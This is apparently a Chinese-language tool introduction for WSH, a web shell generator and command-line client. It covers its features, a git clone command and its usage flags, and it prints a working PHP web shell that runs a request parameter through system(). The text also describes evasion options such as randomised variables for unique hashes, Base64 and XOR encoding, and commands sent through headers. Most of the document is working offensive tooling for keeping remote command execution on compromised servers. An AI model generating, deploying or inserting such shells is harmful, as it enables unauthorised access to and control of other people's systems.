關于WSH 

WSH是一款功能強大的Web Shell生成器和命令行接口工具。我們考慮到只用一個HTTP客戶端來跟Webshell交互其實是一件很痛苦的事,我們需要在表格中輸入命令,然后再點各種按鈕。因此,我們開發出了WSH,我們可以輕松將其嵌入到我們的工作流中,并在命令行終端運行。

WSH的客戶端支持命令歷史記錄和日志記錄功能,并且可以跟以前部署的標準Webshell交互。生成器使用了PHP、ASP和JSP來創建Webshell。它們使用隨機變量生成,因此每一個都擁有單獨的哈希。它們可以使用白名單或密碼進行配置,并允許通過自定義Header和參數進行發送。

生成器和客戶端可以通過命令行參數或配置文件來進行配置,以允許我們保存適合自己的配置,而無需進行額外多次配置。配置后,客戶端和生成器將使用相同的配置文件。

 功能介紹 

  • 通過命令行跟部署的Webshell交互;
  • 日志記錄;
  • 使用PHP、JSP和ASP生成Webshell;
  • IP白名單;
  • 密碼保護;
  • 通過自定義Header和參數發送命令;
  • 文件上傳/下載;
  • 針對ASP或PHP版本的Webshell進行Base64編碼;
  • 針對ASP或PHP版本的Webshell進行異或加密;

 工具下載 

廣大研究人員可以使用下列命令將該項目源碼克隆至本地:

git clone https://github.com/EatonChips/wsh.git

 工具使用 

連接

wsh <URL> [flags]
-X, --method string        HTTP method: GET, POST, PUT, PATCH, DELETE (default "GET")
    --param string         Parameter for sending command
    --header string        Header for sending command
-P, --params strings       HTTP request parameters
-H, --headers strings      HTTP request headers
-c, --config string        Config file
-k, --ignore-ssl           Ignore invalid certs
    --log string           Log file
    --prefix string        Prepend command: 'cmd /c', 'powershell.exe', 'bash'
    --timeout int          Request timeout in seconds (default 10)
    --trim-prefix string   Trim output prefix
    --trim-suffix string   Trim output suffix
-h, --help                 help for wsh

生成

wsh generate <language> [flags]
wsh g <language> [flags]
 
-X, --method string        HTTP method (GET,POST,PUT,PATCH,DELETE) (default "GET")
-p, --param string         Parameter for sending command
    --header string        Header for sending command
-w, --whitelist strings    IP addresses to whitelist
-o, --outfile string       Output file
    --no-file              Disable file upload/download capabilities
    --pass string          Password protect shell
    --pass-header string   Header for sending password
    --pass-param string    Parameter for sending password
    --xor-header string    Header for sending xor key
    --xor-key string       Key for xor encryption
    --xor-param string     Parameter for sending xor key
    --base64               Base64 encode shell
    --minify               Minify webshell code
-t, --template string      Webshell template file
-h, --help                 help for generate

客戶端使用/文件IO

WSH中所有Webshell都需要實現相同的上傳/下載邏輯:

$ wsh 127.0.0.1:8080/test.php --param cmd
127.0.0.1> help
get <remote filepath> [local filepath]  Download file
put <local filepath> [remote filepath]  Upload file
clear              Clear screen
exit   
exit                      Exits shell
          

 生成器樣例 

簡單的Shell

下列命令可以生成一個簡單的PHP Webshell,并跟其進行交互:

$ wsh generate php --param cmd --no-file -o shell.php
Created shell at shell.php.
$ wsh 127.0.0.1:8080/shell.php --param cmd
<?php
  $MfOb = $_REQUEST['cmd'];
  $MfOb = trim($MfOb);
  system($MfOb);
  die;
?>

我們還可以通過HTTP Header來發送命令:

$ wsh generate php --no-file --header user-agent  -o shell.php
Created shell at shell.php.
$ wsh 127.0.0.1:8080/shell.php --header user-agent

白名單設置

$ wsh generate php --no-file --param cmd -w 127.0.0.1,10.0.23.3 -w 12.4.22.3 -o shell.php

密碼保護

我們還可以通過Header或參數來發送密碼:

$ wsh generate php --no-file --param cmd --pass S3cr3t --pass-param pass
$ wsh 127.0.0.1:8080/shell.php --param cmd -P pass:S3cr3t
$ wsh generate php --no-file --param cmd --pass S3cr3t --pass-header pass-header
$ wsh 127.0.0.1:8080/shell.php --param cmd -H pass-header:S3cr3t

 項目地址 

WSH:https://github.com/EatonChips/wsh